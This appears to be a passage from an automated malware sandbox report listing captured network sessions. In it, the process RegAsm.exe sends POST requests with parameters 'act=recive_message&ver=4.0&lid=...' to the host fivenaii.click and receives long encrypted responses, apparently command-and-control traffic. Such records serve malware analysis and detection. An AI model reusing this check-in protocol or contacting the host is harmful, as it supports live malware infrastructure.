2024-12-27 21:33:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=
2024-12-27 21:33:16 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b4gm06ntp6fivthrqfu0a6ciu3; expires=Tue, 22 Apr 2025 15:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ykw%2BNEBMQrc8gvCjHXNbAsNDPnXbKSoL3yOIGtWdwcHL6%2Bfnfmni39Dy7%2F0tqKBny1IRXgMniuDloncExtZgGpSZP2SV%2B%2F%2BT%2B6t%2FNo0NoKgTMtSNa1CQNoP4X79QMwoFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d8e6984429d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2098&min_rtt=2049&rtt_var=868&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=950&delivery_rate=1192810&cwnd=246&unsent_bytes=0&cid=e24a550f5921ae6d&ts=779&x=0"
2024-12-27 21:33:16 UTC	234	IN	Data Raw: 34 39 31 63 0d 0a 4b 34 42 69 34 66 31 59 32 72 4f 6b 77 79 4f 69 41 35 6e 72 4a 68 4e 2f 74 77 38 41 45 69 6e 47 4b 35 75 50 4b 79 4b 54 7a 48 35 51 6f 68 54 44 78 32 7a 32 6b 64 65 6d 41 5a 68 33 36 35 35 44 50 31 33 57 61 79 49 6f 54 36 64 48 36 4f 6f 48 41 4f 57 68 58 42 48 6d 41 34 32 4f 50 66 61 52 77 62 73 42 6d 46 6a 69 79 55 4e 39 58 59 30 74 5a 58 68 4c 70 30 66 35 37 6b 42 4e 34 36 41 64 51 2b 77 46 69 5a 67 37 76 74 4c 49 72 6b 62 48 5a 76 69 42 53 48 6f 53 33 32 49 69 50 67 75 6a 55 62 6d 31 43 57 2f 32 75 42 39 6d 34 52 47 4b 33 79 58 32 79 49 61 6d 54 59 41 35 75 34 70 44 63 52 50 52 61 32 74 36 51 61 35 50 2b 4f 74 42 55 76 71 71 46 6b 50 69 42 6f 69 53 4d 71 72 66 77 71 6c 4e Data Ascii: 491cK4Bi4f1Y2rOkwyOiA5nrJhN/tw8AEinGK5uPKyKTzH5QohTDx2z2kdemAZh3655DP13WayIoT6dH6OoHAOWhXBHmA42OPfaRwbsBmFjiyUN9XY0tZXhLp0f57kBN46AdQ+wFiZg7vtLIrkbHZviBSHoS32IiPgujUbm1CW/2uB9m4RGK3yX2yIamTYA5u4pDcRPRa2t6Qa5P+OtBUvqqFkPiBoiSMqrfwqlN
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 77 57 7a 34 79 51 6f 78 47 73 30 74 4f 6a 41 59 6c 6b 72 6f 2f 46 78 4e 34 61 68 63 56 71 77 5a 77 35 67 32 2b 49 6d 47 71 55 33 4f 5a 50 69 47 51 33 41 64 78 32 4a 69 63 30 4f 73 54 66 50 69 52 6b 2f 2f 70 42 74 42 36 77 65 4d 6d 44 4b 2b 33 73 58 68 44 34 42 6d 34 38 6b 63 4d 54 33 46 62 6d 46 6b 52 72 55 4a 35 71 4e 51 41 50 61 69 58 42 47 69 42 6f 32 65 4e 37 6a 44 7a 71 70 4b 78 58 50 77 67 45 6c 38 48 64 68 6e 62 58 4e 4c 6f 30 50 7a 34 6b 4e 45 2f 4b 4d 61 53 65 4a 41 7a 64 38 39 6f 4a 47 65 34 57 4c 46 63 66 79 46 55 6a 4d 6e 6c 58 49 73 61 51 75 6a 52 62 6d 31 43 55 6a 30 72 52 39 43 37 51 4f 4c 6c 43 69 34 77 38 43 73 52 4e 4a 6e 2f 6f 64 4f 63 67 2f 66 59 32 52 7a 51 71 39 41 2f 4f 70 4e 41 4c 2f 75 47 31 47 69 57 4d 4f 2b 4e 37 50 64 7a 4c 5a Data Ascii: wWz4yQoxGs0tOjAYlkro/FxN4ahcVqwZw5g2+ImGqU3OZPiGQ3Adx2Jic0OsTfPiRk//pBtB6weMmDK+3sXhD4Bm48kcMT3FbmFkRrUJ5qNQAPaiXBGiBo2eN7jDzqpKxXPwgEl8HdhnbXNLo0Pz4kNE/KMaSeJAzd89oJGe4WLFcfyFUjMnlXIsaQujRbm1CUj0rR9C7QOLlCi4w8CsRNJn/odOcg/fY2RzQq9A/OpNAL/uG1GiWMO+N7PdzLZ
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 5a 74 45 66 51 2f 5a 5a 32 52 2f 52 71 67 4a 74 36 31 4f 57 4c 48 32 58 47 50 68 46 49 43 56 65 49 33 53 79 4b 39 47 31 69 48 6b 78 31 30 78 47 74 6b 74 4f 6a 42 47 70 55 48 2f 2f 30 5a 4e 38 71 41 53 52 75 63 50 69 35 38 36 74 64 54 43 71 6b 72 44 62 50 2b 62 54 6e 45 56 30 47 78 6f 65 67 76 71 43 66 37 31 43 52 69 78 6e 77 74 43 6f 44 57 41 6b 54 53 2f 78 34 61 2b 44 39 6b 68 2f 49 55 45 4b 56 33 59 5a 57 64 31 52 4b 56 44 39 2b 68 44 54 50 6d 67 48 31 76 74 42 49 4f 54 4d 72 4c 63 79 4b 56 4a 79 57 72 77 6a 30 52 77 46 35 55 6a 49 6e 64 54 35 42 47 35 32 55 35 4d 2f 4b 46 65 66 4f 45 4f 6a 5a 67 73 2b 4d 36 49 75 41 48 48 62 62 76 52 42 48 30 55 31 57 5a 6f 64 45 75 6a 52 50 7a 75 54 6b 50 38 71 52 5a 48 35 51 53 50 6c 6a 65 2b 30 63 47 6c 52 4e 4a 6b Data Ascii: ZtEfQ/ZZ2R/RqgJt61OWLH2XGPhFICVeI3SyK9G1iHkx10xGtktOjBGpUH//0ZN8qASRucPi586tdTCqkrDbP+bTnEV0GxoegvqCf71CRixnwtCoDWAkTS/x4a+D9kh/IUEKV3YZWd1RKVD9+hDTPmgH1vtBIOTMrLcyKVJyWrwj0RwF5UjIndT5BG52U5M/KFefOEOjZgs+M6IuAHHbbvRBH0U1WZodEujRPzuTkP8qRZH5QSPlje+0cGlRNJk
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 6f 6f 32 33 73 69 62 77 57 39 43 66 37 68 43 52 69 78 70 78 56 62 37 41 36 4b 6b 6a 79 77 31 73 69 73 53 73 5a 71 2f 49 35 43 66 42 58 59 61 47 46 78 54 36 35 62 2b 75 5a 44 54 66 76 75 55 67 6e 6c 47 4d 50 48 65 70 2f 64 37 37 46 61 30 6e 65 37 6c 67 70 6f 58 64 4a 68 49 69 67 4c 70 30 62 77 34 6b 46 49 2f 71 45 59 52 2b 51 47 6a 70 6f 31 73 73 50 4f 72 30 7a 4c 62 76 43 62 52 48 77 5a 32 57 6c 71 65 30 48 6b 42 37 6e 71 55 51 43 70 37 69 6c 45 37 51 43 41 69 58 71 6e 6e 39 2f 68 52 73 77 68 6f 38 6c 49 66 78 33 61 59 57 35 37 51 36 56 46 39 2b 70 4d 53 66 6d 6d 44 6b 6a 6d 43 49 4b 52 4e 62 6e 56 77 36 52 46 78 32 58 39 68 67 51 2f 58 64 4a 31 49 69 67 4c 69 32 37 4d 72 32 68 36 73 62 46 53 55 4b 49 48 6a 39 39 69 2b 4e 33 46 72 55 6e 50 5a 2f 4b 46 54 Data Ascii: oo23sibwW9Cf7hCRixpxVb7A6Kkjyw1sisSsZq/I5CfBXYaGFxT65b+uZDTfvuUgnlGMPHep/d77Fa0ne7lgpoXdJhIigLp0bw4kFI/qEYR+QGjpo1ssPOr0zLbvCbRHwZ2Wlqe0HkB7nqUQCp7ilE7QCAiXqnn9/hRswho8lIfx3aYW57Q6VF9+pMSfmmDkjmCIKRNbnVw6RFx2X9hgQ/XdJ1IigLi27Mr2h6sbFSUKIHj99i+N3FrUnPZ/KFT
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 6e 61 58 52 49 6f 45 7a 32 37 45 68 47 34 36 6b 56 57 2b 77 4e 6a 4a 63 79 73 64 44 43 70 45 7a 47 62 66 47 49 51 33 38 54 33 53 30 73 4d 45 79 38 43 61 47 74 61 46 44 71 76 41 70 45 77 77 32 4d 33 79 58 32 79 49 61 6d 54 59 41 35 75 34 42 57 64 52 44 48 5a 47 56 2b 52 4b 64 62 2b 4f 42 43 55 76 61 68 47 45 37 75 42 6f 79 5a 4f 37 33 62 79 71 5a 45 79 32 37 33 79 51 6f 78 47 73 30 74 4f 6a 42 6c 72 31 72 75 37 6b 64 4c 35 37 56 63 56 71 77 5a 77 35 67 32 2b 49 6d 47 6f 6b 72 4c 5a 66 75 46 52 48 55 51 31 58 39 74 64 30 79 74 51 75 76 6e 54 6b 66 36 70 68 64 47 35 42 4b 50 6b 53 69 39 77 39 54 68 44 34 42 6d 34 38 6b 63 4d 53 76 53 66 58 4a 7a 43 5a 56 66 2b 76 74 43 54 66 33 75 41 77 66 37 51 49 53 54 65 75 43 52 77 4b 35 49 77 32 37 36 67 45 68 38 47 4e Data Ascii: naXRIoEz27EhG46kVW+wNjJcysdDCpEzGbfGIQ38T3S0sMEy8CaGtaFDqvApEww2M3yX2yIamTYA5u4BWdRDHZGV+RKdb+OBCUvahGE7uBoyZO73byqZEy273yQoxGs0tOjBlr1ru7kdL57VcVqwZw5g2+ImGokrLZfuFRHUQ1X9td0ytQuvnTkf6phdG5BKPkSi9w9ThD4Bm48kcMSvSfXJzCZVf+vtCTf3uAwf7QISTeuCRwK5Iw276gEh8GN
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 63 36 39 48 79 2b 35 53 41 4f 37 67 42 51 6e 6c 44 4d 50 48 65 72 76 57 78 61 42 4c 79 57 33 30 6a 6b 42 6a 46 39 4a 2f 59 33 46 41 71 55 58 35 34 45 52 4b 38 4b 63 52 52 65 38 48 68 4a 41 2f 2b 4a 2b 47 70 6c 6d 41 4f 62 75 6f 53 58 6f 52 6a 6a 63 69 62 77 57 39 43 66 37 68 43 52 69 78 72 68 5a 4d 36 41 32 41 6b 44 6d 71 30 4d 43 7a 51 63 31 72 36 59 4e 50 64 42 44 59 59 47 46 32 54 61 39 46 36 2b 52 4a 51 2f 72 75 55 67 6e 6c 47 4d 50 48 65 70 76 47 30 4b 74 47 7a 48 66 77 69 45 64 6e 45 4d 55 74 4c 44 42 61 6f 31 69 35 74 56 39 51 35 71 6b 44 42 2f 74 41 68 4a 4e 36 34 4a 48 41 71 45 66 48 5a 2f 57 62 51 58 63 53 32 6d 52 72 64 45 4f 6e 53 66 33 70 54 6b 58 79 6f 68 64 4f 34 51 2b 48 6c 6a 53 78 33 6f 62 76 41 63 64 35 75 39 45 45 55 41 62 57 59 57 38 Data Ascii: c69Hy+5SAO7gBQnlDMPHervWxaBLyW30jkBjF9J/Y3FAqUX54ERK8KcRRe8HhJA/+J+GplmAObuoSXoRjjcibwW9Cf7hCRixrhZM6A2AkDmq0MCzQc1r6YNPdBDYYGF2Ta9F6+RJQ/ruUgnlGMPHepvG0KtGzHfwiEdnEMUtLDBao1i5tV9Q5qkDB/tAhJN64JHAqEfHZ/WbQXcS2mRrdEOnSf3pTkXyohdO4Q+HljSx3obvAcd5u9EEUAbWYW8
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 76 43 74 42 77 44 32 74 6c 77 52 6f 69 43 49 69 54 2b 2f 78 34 53 55 51 73 35 76 2f 4a 38 45 62 69 4b 62 4c 57 31 71 43 2f 78 77 34 4b 31 4f 54 4c 48 32 58 46 7a 6c 41 49 53 46 4c 4c 2f 64 31 36 70 4d 7a 45 50 30 6a 6c 4a 79 45 74 5a 38 61 7a 78 41 71 51 6d 33 72 55 35 59 73 66 5a 63 5a 75 55 57 67 4c 41 35 71 64 69 47 37 77 48 48 64 37 76 52 42 45 39 64 78 32 35 79 63 30 53 31 64 37 6d 31 55 48 36 78 70 51 70 4f 38 67 4f 56 6c 44 65 30 77 50 6a 68 47 5a 51 7a 71 64 73 57 49 77 4b 56 63 6c 30 2b 43 36 55 4a 6f 64 52 51 41 4f 66 75 52 42 75 73 51 4a 48 66 59 76 69 57 78 62 4e 54 78 6d 4c 74 69 67 4e 50 49 2f 4a 37 61 48 64 62 6f 31 37 32 72 51 63 41 2f 75 35 45 63 4b 49 4a 68 49 51 72 72 74 7a 57 70 67 48 2f 4c 37 75 52 42 43 6c 64 34 47 35 73 66 6b 79 79 Data Ascii: vCtBwD2tlwRoiCIiT+/x4SUQs5v/J8EbiKbLW1qC/xw4K1OTLH2XFzlAISFLL/d16pMzEP0jlJyEtZ8azxAqQm3rU5YsfZcZuUWgLA5qdiG7wHHd7vRBE9dx25yc0S1d7m1UH6xpQpO8gOVlDe0wPjhGZQzqdsWIwKVcl0+C6UJodRQAOfuRBusQJHfYviWxbNTxmLtigNPI/J7aHdbo172rQcA/u5EcKIJhIQrrtzWpgH/L7uRBCld4G5sfkyy
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 70 57 38 75 6b 69 64 2b 4d 4e 6a 4e 4d 30 73 39 48 42 73 56 66 62 4c 66 4f 4b 58 6d 73 6a 36 30 5a 75 64 6b 79 2b 54 76 2f 4c 61 51 43 2f 37 68 4d 4a 75 6a 6e 44 31 33 71 48 6e 34 61 35 41 5a 67 68 7a 6f 70 4b 66 78 72 44 66 43 39 59 61 4a 35 7a 75 38 46 4f 56 62 4f 61 47 31 6e 7a 43 34 36 54 65 76 61 52 77 4f 45 5a 6b 43 2b 37 6a 56 55 78 52 59 55 2f 4f 53 55 59 38 78 6d 72 38 67 64 5a 73 62 68 63 45 62 42 4f 77 34 31 36 34 4a 47 42 6f 6c 50 53 5a 2f 69 66 52 7a 59 6a 36 30 70 73 64 30 71 79 57 65 37 69 64 33 37 6b 72 52 4a 48 35 52 61 53 33 33 54 34 33 6f 62 35 65 49 41 70 75 37 59 4b 4d 51 57 56 4e 53 4a 46 53 4b 70 48 2f 76 74 59 44 64 61 67 47 30 6a 30 45 4a 53 51 65 76 61 52 77 4f 45 5a 6b 69 2b 37 6a 56 55 78 52 59 55 2f 4f 53 55 59 38 78 6d 72 38 Data Ascii: pW8ukid+MNjNM0s9HBsVfbLfOKXmsj60Zudky+Tv/LaQC/7hMJujnD13qHn4a5AZghzopKfxrDfC9YaJ5zu8FOVbOaG1nzC46TevaRwOEZkC+7jVUxRYU/OSUY8xmr8gdZsbhcEbBOw4164JGBolPSZ/ifRzYj60psd0qyWe7id37krRJH5RaS33T43ob5eIApu7YKMQWVNSJFSKpH/vtYDdagG0j0EJSQevaRwOEZki+7jVUxRYU/OSUY8xmr8
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 70 58 6d 6a 6f 45 49 36 51 50 66 72 78 77 62 64 43 67 43 2b 37 68 51 51 70 58 64 52 6e 63 6e 31 45 6f 77 58 2b 39 30 34 41 76 2b 34 53 43 62 70 41 67 70 55 71 74 64 37 42 37 55 66 4f 62 37 75 57 43 6d 68 64 77 79 30 36 49 77 58 6b 57 37 6d 31 43 51 66 79 76 41 35 50 34 52 61 41 32 41 53 47 2f 4e 53 6d 55 63 4d 6a 79 6f 52 41 5a 77 6a 57 66 57 56 4f 64 59 6c 62 2f 76 31 4b 41 73 43 34 48 30 6e 73 42 38 50 52 65 71 43 52 6e 75 46 73 30 6d 62 72 69 67 51 2f 58 64 6b 74 4f 6a 42 47 74 6b 37 70 37 67 56 48 36 36 6c 63 56 71 77 5a 77 34 6c 36 34 49 4b 49 34 56 4f 41 4f 62 76 4f 53 6e 77 63 31 6d 4e 68 59 6c 6d 69 53 75 2f 75 44 6e 37 50 67 77 35 4f 38 67 50 42 72 6a 65 38 78 39 4f 69 55 63 64 66 78 61 52 57 64 67 33 57 4c 30 35 33 52 71 68 33 78 39 70 59 52 2b Data Ascii: pXmjoEI6QPfrxwbdCgC+7hQQpXdRncn1EowX+904Av+4SCbpAgpUqtd7B7UfOb7uWCmhdwy06IwXkW7m1CQfyvA5P4RaA2ASG/NSmUcMjyoRAZwjWfWVOdYlb/v1KAsC4H0nsB8PReqCRnuFs0mbrigQ/XdktOjBGtk7p7gVH66lcVqwZw4l64IKI4VOAObvOSnwc1mNhYlmiSu/uDn7Pgw5O8gPBrje8x9OiUcdfxaRWdg3WL053Rqh3x9pYR+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: fivenaii.click
2024-12-27 21:33:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=
2024-12-27 21:33:16 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ah9cjbsb6e1l8qbt3t3h8nglg0; expires=Tue, 22 Apr 2025 15:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwjnUvTJzRQDPt2s%2BPEHcj8ULg%2FYOvQ9z6ELrz3KjcVMVZEs1xJHVkoIqff3ox3vSg68a7C7MKAH22J8O9zCE2BPsqOGU%2BlcbTQP3hssscC8dBpWCelLQG2r9U3pUgFplg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d8e79b38cba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2001&min_rtt=1989&rtt_var=770&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=950&delivery_rate=1400479&cwnd=218&unsent_bytes=0&cid=dd506907f5001ed0&ts=784&x=0"
2024-12-27 21:33:16 UTC	244	IN	Data Raw: 32 64 31 63 0d 0a 55 41 78 61 50 6b 4f 42 66 59 30 6a 66 4d 39 71 51 33 44 55 54 6f 38 6d 51 70 35 49 65 51 38 4d 62 6d 2f 46 54 62 33 52 68 72 6b 72 4c 69 77 63 65 62 56 52 72 31 41 5a 37 56 41 33 41 71 45 72 6f 77 51 6a 2b 6d 70 44 61 57 30 43 48 4b 42 68 6e 36 66 72 6d 32 70 71 4f 31 49 77 35 46 47 76 52 67 54 74 55 42 67 4c 39 69 76 68 42 48 69 38 4c 52 4e 74 62 51 49 4e 70 43 62 53 6f 65 72 61 4f 47 41 39 56 69 62 69 47 65 78 50 45 61 6f 50 4a 68 47 2b 49 4f 5a 4c 4b 76 4e 71 56 53 31 70 46 45 33 2f 62 2f 43 30 38 74 67 64 62 53 6c 56 59 66 78 52 39 67 45 5a 6f 55 68 35 55 72 55 72 37 55 6f 6b 2b 69 4d 52 5a 32 51 4b 44 4b 45 6e 7a 62 6a 67 30 54 68 75 50 6c 63 73 36 77 33 68 52 52 61 68 43 53 77 52 39 6d 4b 74 51 7a Data Ascii: 2d1cUAxaPkOBfY0jfM9qQ3DUTo8mQp5IeQ8Mbm/FTb3RhrkrLiwcebVRr1AZ7VA3AqErowQj+mpDaW0CHKBhn6frm2pqO1Iw5FGvRgTtUBgL9ivhBHi8LRNtbQINpCbSoeraOGA9VibiGexPEaoPJhG+IOZLKvNqVS1pFE3/b/C08tgdbSlVYfxR9gEZoUh5UrUr7Uok+iMRZ2QKDKEnzbjg0ThuPlcs6w3hRRahCSwR9mKtQz
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 69 38 63 6c 73 2b 58 41 38 63 74 6a 72 53 6f 2b 4b 62 4c 53 41 68 48 43 62 76 58 37 63 42 46 71 45 47 4a 42 47 35 4b 2b 78 45 4d 76 4d 71 47 47 56 6d 43 41 65 6f 49 4e 43 39 37 74 77 36 5a 7a 39 54 4a 75 73 5a 34 45 4a 65 34 30 67 6d 43 76 5a 30 72 57 51 77 2f 79 6b 50 59 48 39 4d 45 75 6b 32 6e 37 54 6f 6d 32 6f 75 50 6c 49 67 37 68 2f 39 53 52 57 6d 44 54 4d 5a 76 79 48 67 52 43 33 32 4a 52 68 74 61 51 59 48 71 43 58 62 76 75 6e 64 4d 6d 35 34 45 6d 48 6b 42 36 38 5a 58 6f 34 4e 4d 52 57 36 4f 71 39 2b 59 4f 4e 6b 41 69 31 70 41 45 33 2f 62 39 65 32 35 39 67 35 59 54 74 55 4b 76 45 66 2f 55 63 54 71 42 6f 6e 46 37 67 6d 37 6c 59 71 38 69 77 59 5a 47 55 46 43 4b 41 72 6e 2f 32 6b 33 43 6f 75 59 42 77 41 37 68 54 6a 53 77 6d 74 53 44 35 63 72 32 7a 71 53 Data Ascii: i8cls+XA8ctjrSo+KbLSAhHCbvX7cBFqEGJBG5K+xEMvMqGGVmCAeoINC97tw6Zz9TJusZ4EJe40gmCvZ0rWQw/ykPYH9MEuk2n7Tom2ouPlIg7h/9SRWmDTMZvyHgRC32JRhtaQYHqCXbvundMm54EmHkB68ZXo4NMRW6Oq9+YONkAi1pAE3/b9e259g5YTtUKvEf/UcTqBonF7gm7lYq8iwYZGUFCKArn/2k3CouYBwA7hTjSwmtSD5cr2zqS
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 55 59 47 4a 4d 51 2b 63 6f 78 2f 4f 38 6d 78 68 74 4c 46 38 72 6f 53 72 73 54 78 43 71 48 6d 45 4e 2b 44 57 74 51 79 79 38 63 6c 74 67 62 77 51 4c 74 53 44 53 73 4f 72 56 50 57 73 33 56 43 48 6a 45 75 70 46 46 61 59 4c 4c 42 61 6b 4a 75 31 4d 4a 66 30 67 45 53 30 67 54 41 71 2f 62 34 66 7a 31 63 77 35 4c 41 31 66 4c 2b 30 59 2b 51 45 42 34 78 46 68 46 62 70 73 74 51 51 74 39 43 38 65 59 6d 38 47 41 36 49 6c 30 37 76 71 32 43 42 68 50 46 77 74 36 78 58 69 54 78 71 6c 41 53 6f 5a 73 43 7a 73 54 6d 43 79 61 68 78 31 4c 6c 52 4e 6b 79 6a 54 76 75 75 5a 42 32 30 32 55 69 62 31 58 2f 41 50 42 2b 30 50 4c 56 4c 75 62 4f 46 4e 49 50 63 67 48 32 31 70 41 51 69 6b 4b 4e 79 2b 34 39 45 38 61 54 78 51 4b 4f 34 5a 37 30 59 61 71 42 6f 6b 47 37 6f 67 72 51 70 67 2b 7a Data Ascii: UYGJMQ+cox/O8mxhtLF8roSrsTxCqHmEN+DWtQyy8cltgbwQLtSDSsOrVPWs3VCHjEupFFaYLLBakJu1MJf0gES0gTAq/b4fz1cw5LA1fL+0Y+QEB4xFhFbpstQQt9C8eYm8GA6Il07vq2CBhPFwt6xXiTxqlASoZsCzsTmCyahx1LlRNkyjTvuuZB202Uib1X/APB+0PLVLubOFNIPcgH21pAQikKNy+49E8aTxQKO4Z70YaqBokG7ogrQpg+z
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 54 41 71 72 62 34 66 7a 37 64 49 67 59 44 5a 56 4c 4f 55 58 36 45 38 54 70 67 34 71 46 62 45 71 34 45 77 74 2b 53 6b 61 61 57 51 65 44 71 77 6c 30 72 6d 6b 6c 58 4a 70 49 42 78 35 6f 7a 6a 6a 61 41 36 32 47 6a 64 53 71 57 4c 30 42 43 66 77 61 6b 4d 74 62 51 4d 45 71 43 66 58 76 4f 76 66 50 47 67 2b 55 53 54 73 46 66 31 4a 45 4b 41 44 4c 68 6d 6b 4c 4f 42 41 4c 50 67 69 45 47 63 75 51 6b 32 67 4e 35 2f 72 70 4f 34 2f 59 54 68 66 4e 36 4d 41 6f 56 68 65 71 67 52 68 53 76 59 67 34 30 51 76 38 43 59 51 5a 57 38 41 41 36 41 71 31 72 76 73 79 54 4e 71 4d 46 30 76 37 42 37 72 52 42 75 70 44 79 55 55 75 57 79 6a 42 43 66 6b 61 6b 4d 74 51 53 73 34 35 51 37 6c 38 2f 75 56 4b 79 34 2f 55 47 47 37 58 2b 4e 43 45 71 55 48 4a 78 75 36 4a 75 52 50 4c 50 63 75 46 32 52 Data Ascii: TAqrb4fz7dIgYDZVLOUX6E8Tpg4qFbEq4Ewt+SkaaWQeDqwl0rmklXJpIBx5ozjjaA62GjdSqWL0BCfwakMtbQMEqCfXvOvfPGg+USTsFf1JEKADLhmkLOBALPgiEGcuQk2gN5/rpO4/YThfN6MAoVheqgRhSvYg40Qv8CYQZW8AA6Aq1rvsyTNqMF0v7B7rRBupDyUUuWyjBCfkakMtQSs45Q7l8/uVKy4/UGG7X+NCEqUHJxu6JuRPLPcuF2R
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 69 37 5a 6f 65 50 53 49 47 41 31 55 79 6e 72 46 75 35 46 47 36 41 4f 4c 52 69 33 4b 2b 4e 4b 4b 4c 78 6b 57 32 70 32 54 46 58 6e 44 73 2b 6f 39 73 30 2f 54 7a 56 54 59 66 78 52 39 67 45 5a 6f 55 68 35 55 72 38 2b 36 55 6b 79 39 53 30 56 59 6d 30 65 44 4b 6f 6b 7a 62 54 72 33 7a 56 69 50 6c 4d 6e 34 68 72 6c 54 52 6d 6f 41 79 34 65 39 6d 4b 74 51 7a 69 38 63 6c 74 44 5a 52 38 61 70 43 48 55 70 66 2b 62 4c 53 41 68 48 43 62 76 58 37 63 42 48 61 59 44 4a 52 4b 36 4c 4f 6c 4a 49 4f 34 6c 48 47 70 6e 42 78 2b 74 4b 4e 69 34 37 4e 41 39 61 43 70 51 4c 2f 45 61 2f 56 4e 65 34 30 67 6d 43 76 5a 30 72 58 49 6e 37 44 6f 59 4c 31 38 61 44 72 45 6b 30 72 2b 6b 78 48 78 33 65 46 73 74 6f 30 65 76 52 78 47 6b 43 79 34 54 76 79 44 67 51 53 6e 35 4b 78 31 70 5a 41 59 4e Data Ascii: i7ZoePSIGA1UynrFu5FG6AOLRi3K+NKKLxkW2p2TFXnDs+o9s0/TzVTYfxR9gEZoUh5Ur8+6Uky9S0VYm0eDKokzbTr3zViPlMn4hrlTRmoAy4e9mKtQzi8cltDZR8apCHUpf+bLSAhHCbvX7cBHaYDJRK6LOlJIO4lHGpnBx+tKNi47NA9aCpQL/Ea/VNe40gmCvZ0rXIn7DoYL18aDrEk0r+kxHx3eFsto0evRxGkCy4TvyDgQSn5Kx1pZAYN
2024-12-27 21:33:16 UTC	1369	IN	Data Raw: 79 71 77 6e 4a 70 4e 42 78 35 6f 78 7a 6f 51 68 2b 6e 41 53 30 64 73 53 6a 2f 54 69 66 75 4b 78 70 6d 59 77 41 4e 71 69 4c 56 73 75 33 57 50 6d 4d 2f 57 79 37 6d 58 36 45 42 47 62 56 49 65 56 4b 58 49 65 5a 49 65 36 5a 71 42 43 4e 33 54 41 71 72 62 34 66 7a 35 4e 45 33 5a 44 56 66 4c 75 41 4e 37 6b 63 4d 72 51 55 72 41 4c 77 6e 36 45 6b 74 38 53 6b 64 61 32 55 41 48 36 34 76 33 4c 69 6b 6c 58 4a 70 49 42 78 35 6f 7a 7a 34 56 78 53 71 42 44 63 5a 74 79 2f 37 53 54 43 38 5a 46 74 38 61 52 31 4e 2f 7a 6e 50 70 4f 50 45 66 48 64 34 57 79 32 6a 52 36 39 48 46 36 73 50 4a 78 79 6b 4b 65 74 4c 4c 2f 55 6a 48 32 56 74 44 41 6d 6a 4b 4e 71 77 36 4e 41 31 62 54 64 59 4b 4f 30 57 34 41 46 51 37 51 38 35 55 75 35 73 7a 46 38 6a 38 43 64 62 63 69 41 56 54 61 41 6a 6e Data Ascii: yqwnJpNBx5oxzoQh+nAS0dsSj/TifuKxpmYwANqiLVsu3WPmM/Wy7mX6EBGbVIeVKXIeZIe6ZqBCN3TAqrb4fz5NE3ZDVfLuAN7kcMrQUrALwn6Ekt8Skda2UAH64v3LiklXJpIBx5ozz4VxSqBDcZty/7STC8ZFt8aR1N/znPpOPEfHd4Wy2jR69HF6sPJxykKetLL/UjH2VtDAmjKNqw6NA1bTdYKO0W4AFQ7Q85Uu5szF8j8CdbciAVTaAjn
